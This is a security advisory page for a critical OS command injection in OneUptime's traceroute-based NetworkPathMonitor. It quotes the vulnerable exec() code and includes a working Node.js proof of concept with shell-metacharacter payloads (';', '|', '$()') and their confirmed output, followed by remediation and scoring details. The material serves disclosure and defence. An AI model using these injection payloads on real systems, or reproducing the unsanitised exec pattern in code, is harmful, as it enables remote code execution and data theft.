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CVE-2026-27728 — OneUptime: OS Command Injection in...

CRITICAL

OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()

Published February 25, 2026Updated February 28, 2026Source: osv

Summary

## Summary An OS command injection vulnerability in `NetworkPathMonitor.performTraceroute()` allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. ## Details The vulnerability exists in [`Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts`](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191. The `performTraceroute()` method constructs a shell command by directly interpolating the user-controlled `destination` parameter into a string template, then executes it via `child_process.exec()` (wrapped through `promisify`): ```typescript // Line 13 — exec imported from child_process import { exec } from "child_process"; // Line 15-17 — promisified into execAsync const execAsync = promisify(exec); // Lines 149-191 — destination is never sanitized private static async performTraceroute( destination: string, // ← attacker-controlled maxHops: number, timeout: number, ): Promise<TraceRoute> { // ... let command: string; if (isWindows) { command = `tracert -h ${maxHops} -w ${...} ${destination}`; } else if (isMac) { command = `traceroute -m ${maxHops} -w 3 ${destination}`; } else { command = `traceroute -m ${maxHops} -w 3 ${destination}`; } const tracePromise = execAsync(command); // ← shell execution ``` The `destination` value originates from the public `trace()` method (line 31), which accepts `URL | Hostname | IPv4 | IPv6 | string` types. When a raw `string` is passed (line 47: `hostAddress = destination`), no validation or sanitization is performed before it reaches `performTraceroute()`. `child_process.exec()` spawns a shell (`/bin/sh`), so any shell metacharacters (`;`, `|`, `$()`, `` ` ` ``, `&&`, `||`, `\n`) in `destination` will be interpreted, allowing full command injection. ## PoC 1. poc.cjs ```javascript /** * PoC: OS Command Injection in OneUptime NetworkPathMonitor * * Replicates the exact vulnerable code path from * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191 */ const { exec } = require("child_process"); const { promisify } = require("util"); const execAsync = promisify(exec); async function performTraceroute_VULNERABLE(destination, maxHops, timeout) { const isMac = process.platform === "darwin"; const isWindows = process.platform === "win32"; let command; if (isWindows) { command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`; } else if (isMac) { command = `traceroute -m ${maxHops} -w 3 ${destination}`; } else { command = `traceroute -m ${maxHops} -w 3 ${destination}`; } console.log(`[VULN] Constructed command: ${command}`); try { const { stdout, stderr } = await execAsync(command); return { stdout, stderr }; } catch (err) { return { stdout: err.stdout || "", stderr: err.stderr || err.message }; } } async function runPoC() { console.log("=== Payload 1: Semicolon chaining (;) ==="); console.log(" destination = '127.0.0.1; id'\n"); const r1 = await performTraceroute_VULNERABLE("127.0.0.1; id", 1, 5000); console.log("[stdout]:", r1.stdout); console.log("\n=== Payload 2: Pipe injection (|) ==="); console.log(" destination = '127.0.0.1 | whoami'\n"); const r2 = await performTraceroute_VULNERABLE("127.0.0.1 | whoami", 1, 5000); console.log("[stdout]:", r2.stdout); console.log("\n=== Payload 3: Subshell execution $() ==="); console.log(" destination = '127.0.0.1$(echo INJECTED)'\n"); const r3 = await performTraceroute_VULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000); console.log("[stderr]:", r3.stderr); } runPoC().catch(console.error); ``` 2. Run the PoC: ```bash node poc.cjs ``` 3. **Expected output** (confirmed on macOS with Node.js v25.2.1): ``` === Payload 1: Semicolon chaining (;) === destination = '127.0.0.1; id' [VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id [stdout]: 1 localhost (127.0.0.1) 0.215 ms 0.076 ms 0.055 ms uid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)... === Payload 2: Pipe injection (|) === destination = '127.0.0.1 | whoami' [VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami [stdout]: dxleryt === Payload 3: Subshell execution $() === destination = '127.0.0.1$(echo INJECTED)' [VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED) [stderr]: traceroute: unknown host 127.0.0.1INJECTED ``` The `id` and `whoami` commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — `$(echo INJECTED)` is evaluated and appended to the hostname. ## Impact **Vulnerability type:** OS Command Injection (CWE-78) **Who is impacted:** Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to: - **Execute arbitrary commands** as the Probe service user (Remote Code Execution) - **Read sensitive files** from the Probe server (e.g., environment variables, credentials, service account tokens) - **Pivot to internal services** accessible from the Probe's network position - **Compromise other tenants' monitoring data** if Probes are shared across tenants - **Establish persistent backdoors** (reverse shells, cron jobs, SSH keys) > **Note:** The `NetworkPathMonitor` class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.

Advisory Timeline

  • First published February 25, 2026 (229 days ago).
  • Last revised February 28, 2026 — 3 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @oneuptime/common to 10.0.7 or later
npm install @oneuptime/common@10.0.7

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
@oneuptime/common
npm
All versions10.0.7

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-78
    OS Command InjectionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-27728?
OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec() This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
How do I check if my project is affected by CVE-2026-27728?
CVE-2026-27728 affects @oneuptime/common. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-27728 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.9

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-jmhp-5558-qxh5

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